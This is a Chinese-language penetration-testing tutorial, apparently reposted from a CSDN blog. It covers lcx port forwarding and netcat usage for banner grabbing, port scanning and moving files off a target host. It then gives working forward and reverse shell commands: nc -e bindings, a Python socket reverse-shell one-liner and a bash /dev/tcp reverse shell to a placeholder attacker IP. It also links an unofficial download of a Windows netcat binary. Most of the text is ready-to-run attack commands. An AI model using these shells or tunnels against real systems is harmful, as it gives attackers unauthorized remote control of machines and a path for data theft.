文章目录
-
传输层隧道技术
-
1. lcx端口转发
-
1.1 内网端口转发
-
1.2本地端口映射
-
2. netcat(nc)
-
2.1 安装
-
2.2 简单使用
-
3.获取shell
-
在目标主机中没有nc时获取反向shell
传输层隧道技术
1. lcx端口转发
经典端口转发工具:lcx
windows版为lcx.exe , linux版为portmap
正常的socket隧道必须具备两端:
一端为服务端,监听一个端口,等待客户端的连接
一端为客户端,通过传入服务器的IP地址和端口,才能主动与服务器连接
1.1 内网端口转发
lcx.exe -slave <公网主机ip> 4444 127.0.0.1 3389
lcx.exe -listen 4444 5555
1.2本地端口映射
lxc -tran 53 <目标主机IP地址>
2. netcat(nc)
2.1 安装
(1)在kali中可以使用 nc -help
或者 man nc
命令查看是否已经安装了nc
执行如下命令安装
sudo yum insatll nc.x86_64
(2)在windows中需要使用windows版本的nc
下载连接:
链接:https://pan.baidu.com/s/1SfN7Qm81fp3D9OkFRMArPg
提取码:3ds1
2.2 简单使用
(1)命令查询
nc的功能很多,可以输入 nc -h
命令进行查询
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源地址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用
(2)Banner抓取
banner抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透过程中用于漏洞的评估
执行下列命令,从抓取的Banner信息中可以得知,目前目标主机的135端口上运行了epmap服务,版本号为2.3.4
nc -nv 192.168.227.133 135
windows下查看端口占用、杀死进程
(3)远程连接主机
nc -nvv 远程主机地址 端口
(4)端口扫描
扫描指定主机端口
nc -v ip地址 端口
(5)端口监听
监听本地端口,当访问该端口时会输出该信息到命令行
nc -l -p 9999
(6)文件传输
在本地VPS主机中传输 输入如下命令开始本地监听,,等待连接
nc -lp 333 >1.txt
在木目标主机输入如下命令与vps的333端口建立连接,并传输一个名为1.txt的文本文件。
nc -vn 192.168.227.137 333 < 1.txt -q 1
传输完成 在VPS中打开2.txt文件可以看到数据已经传送过来了。
(7)简易聊天
在本地VPS主机中输入如下命令 ,开始监听
nc -l -p 888
在目标主机中输入如下命令,就可以开始聊天。
nc -vn 192.168.227.137 888
3.获取shell
shell分为两种 一种是正向shell,另一种是反向shell
正向shell:客户端连接服务器,客户端想要获取服务器的shell
反向shell:客户端连接服务器,服务器想要获取客户端的shell
反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发,
(1)正向shell
输入如下命令监听目标主机上的4444端口
nc -lvp 4444 -e /bin/bash // linux
nc -lvp 4444 -e c:windowssystem32cmd.exe // windows
输入如下命令,在本地或者VPS主机上连接主机的4444端口,查看当前的IP地址,已经是 192.168.227.137了。
nc 192.168.227.137 4444
(2)反向shell
输入如下命令,在本地或者VPS主机上监听本地9999端口。
nc -lvp 9999
在目标主机上输入如下命令,连接VPS主机192.168.227.137的9999端口。
nc 192。168.227.137 9999 -e /bin/sh //linux
nc 192.168.227.137 -e c:windowssystem32cmd.exe //windows
就可以在本地或者VPS主机上看到连接了。
在目标主机中没有nc时获取反向shell
一般,目标主机时没有nc,可以使用其他的工具和编程语言来代替nc,实现反向连接。
(1)python反向shell
执行如下命令,在VPS上监听本地端口2222端口。
nc -lvp 2222
在目标主机上执行反弹命令。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
xxxx:代表攻击者IP 2222:端口
查看当前IP已经是192.168.227.131,说明已经建立
(2)bash反弹
执行如下命令,在VPS上监听4444端口
nc -lvp 4444
在目标主机上执行反弹命令
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
版权声明:本文为CSDN博主「Kris Alex」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Kris__zhang/article/details/106821765
没有专业运营团队,纯个人凭着空闲时间的学习,通过网络搜集与学习整理的资料记录并分享。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论